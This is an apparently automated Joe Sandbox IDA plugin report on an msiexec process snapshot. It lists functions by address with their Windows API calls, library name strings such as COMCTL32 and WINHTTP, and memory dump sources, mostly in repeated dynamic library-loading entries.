Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100013D40, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100013D5E
GetProcAddress.KERNEL32 ref: 0000000100013DC4

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

WTSFreeMemory, xrefs: 0000000100013DBA
WTSAPI32, xrefs: 0000000100013D8C

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 00000001000163C8, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47librarysleep

APIs

Sleep.KERNEL32 ref: 00000001000163E6
GetProcAddress.KERNEL32 ref: 000000010001644C

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

SDBAPIU, xrefs: 0000000100016414
SdbReleaseDatabase, xrefs: 0000000100016442

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100014EF0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100014F15
LoadLibraryW.KERNEL32 ref: 0000000100014F4A
GetProcAddress.KERNEL32 ref: 0000000100014F78

Strings

WINHTTP, xrefs: 0000000100014F43

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100013E54, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100013E79
GetProcAddress.KERNEL32 ref: 0000000100013ED4

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

SRCLIENT, xrefs: 0000000100013EA7
SRSetRestorePointW, xrefs: 0000000100013ECA

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100013838, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100013851
GetProcAddress.KERNEL32 ref: 00000001000138B7

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

TermsrvCheckNewIniFiles, xrefs: 00000001000138AD
TSAPPCMP, xrefs: 000000010001387F

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 00000001000110DA, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41librarysleep

APIs

Sleep.KERNEL32 ref: 00000001000110F6
GetProcAddress.KERNEL32 ref: 000000010001115F

Part of subcall function 0000000100016CC8: memset.MSVCRT ref: 0000000100016CF1
Part of subcall function 0000000100016CC8: GetVersionExW.KERNEL32 ref: 0000000100016D03
Part of subcall function 0000000100016CC8: LoadLibraryW.KERNEL32 ref: 0000000100016D27

Strings

COMCTL32, xrefs: 000000010001112E
InitCommonControlsEx, xrefs: 0000000100011155

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100016CC8, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29library

APIs

memset.MSVCRT ref: 0000000100016CF1
GetVersionExW.KERNEL32 ref: 0000000100016D03
LoadLibraryW.KERNEL32 ref: 0000000100016D27

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

COMCTL32, xrefs: 0000000100016D20, 0000000100016D2F

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 000000010000642C, Relevance: 6.1, APIs: 4, Instructions: 66registrystring

APIs

RegCreateKeyExW.ADVAPI32 ref: 00000001000064CA
lstrlenW.KERNEL32 ref: 00000001000064D7
RegSetValueExW.ADVAPI32 ref: 00000001000064FB
RegCloseKey.ADVAPI32 ref: 000000010000650D

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Part of subcall function 0000000100004F60: _vsnwprintf.MSVCRT ref: 0000000100004F9E

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 000000010000AC20, Relevance: 6.1, APIs: 4, Instructions: 61registry

APIs

Part of subcall function 0000000100004F60: _vsnwprintf.MSVCRT ref: 0000000100004F9E

RegOpenKeyExW.ADVAPI32 ref: 000000010000ACA8
RegEnumKeyW.ADVAPI32 ref: 000000010000ACC2
RegDeleteKeyW.ADVAPI32 ref: 000000010000ACDB
RegCloseKey.ADVAPI32 ref: 000000010000ACE6

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100014214, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100014239
GetProcAddress.KERNEL32 ref: 00000001000142A9

Part of subcall function 0000000100016BD4: LoadLibraryExW.KERNEL32 ref: 0000000100016C95

Strings

FUSION, xrefs: 0000000100014271

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100010FE4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100011009
GetProcAddress.KERNEL32 ref: 0000000100011079

Part of subcall function 0000000100016CC8: memset.MSVCRT ref: 0000000100016CF1
Part of subcall function 0000000100016CC8: GetVersionExW.KERNEL32 ref: 0000000100016D03
Part of subcall function 0000000100016CC8: LoadLibraryW.KERNEL32 ref: 0000000100016D27

Strings

COMCTL32, xrefs: 0000000100011041

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 00000001000101C4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 00000001000101E9
GetProcAddress.KERNEL32 ref: 000000010001024B

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

MPR, xrefs: 0000000100010217

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 00000001000147F4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100014819
GetProcAddress.KERNEL32 ref: 000000010001487B

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

CRYPT32, xrefs: 0000000100014847

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 000000010001449C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 00000001000144C1
GetProcAddress.KERNEL32 ref: 0000000100014523

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

NETAPI32, xrefs: 00000001000144EF

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100011230, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100011255
GetProcAddress.KERNEL32 ref: 00000001000112B7

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

COMDLG32, xrefs: 0000000100011283

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100013A4C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100013A71
GetProcAddress.KERNEL32 ref: 0000000100013AD3

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

WINSTA, xrefs: 0000000100013A9F

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 000000010000F0A4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 000000010000F0C9
GetProcAddress.KERNEL32 ref: 000000010000F12B

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

OLE32, xrefs: 000000010000F0F7

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 00000001000121EC, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100012211
GetProcAddress.KERNEL32 ref: 0000000100012273

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

SHLWAPI, xrefs: 000000010001223F

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 00000001000136D8, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 00000001000136FD
GetProcAddress.KERNEL32 ref: 000000010001375F

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

TSAPPCMP, xrefs: 000000010001372B

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 000000010000FA28, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 000000010000FA4D
GetProcAddress.KERNEL32 ref: 000000010000FAAF

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

OLEAUT32, xrefs: 000000010000FA7B

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100012FF8, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 000000010001301D
GetProcAddress.KERNEL32 ref: 000000010001307F

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

NTDLL, xrefs: 000000010001304B

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100015E84, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100015EA9
GetProcAddress.KERNEL32 ref: 0000000100015F0B

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

SDBAPIU, xrefs: 0000000100015ED7

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 000000010001047C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 00000001000104A9
GetProcAddress.KERNEL32 ref: 0000000100010500

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

ADVAPI32, xrefs: 00000001000104D7

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 00000001000126F8, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 000000010001271D
GetProcAddress.KERNEL32 ref: 000000010001277F

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

KERNEL32, xrefs: 000000010001274B

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100011AD8, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100011AFD
GetProcAddress.KERNEL32 ref: 0000000100011B5F

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

ODBCCP32, xrefs: 0000000100011B2B

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100013FCC, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100013FF1
GetProcAddress.KERNEL32 ref: 0000000100014053

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

SFC, xrefs: 000000010001401F

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 00000001000118F8, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 000000010001191D
GetProcAddress.KERNEL32 ref: 000000010001197F

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

VERSION, xrefs: 000000010001194B

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100016490, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 00000001000164B5
GetProcAddress.KERNEL32 ref: 0000000100016517

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

RSTRTMGR, xrefs: 00000001000164E3

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100010534, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100010559
GetProcAddress.KERNEL32 ref: 00000001000105BB

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

ADVAPI32, xrefs: 0000000100010587

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

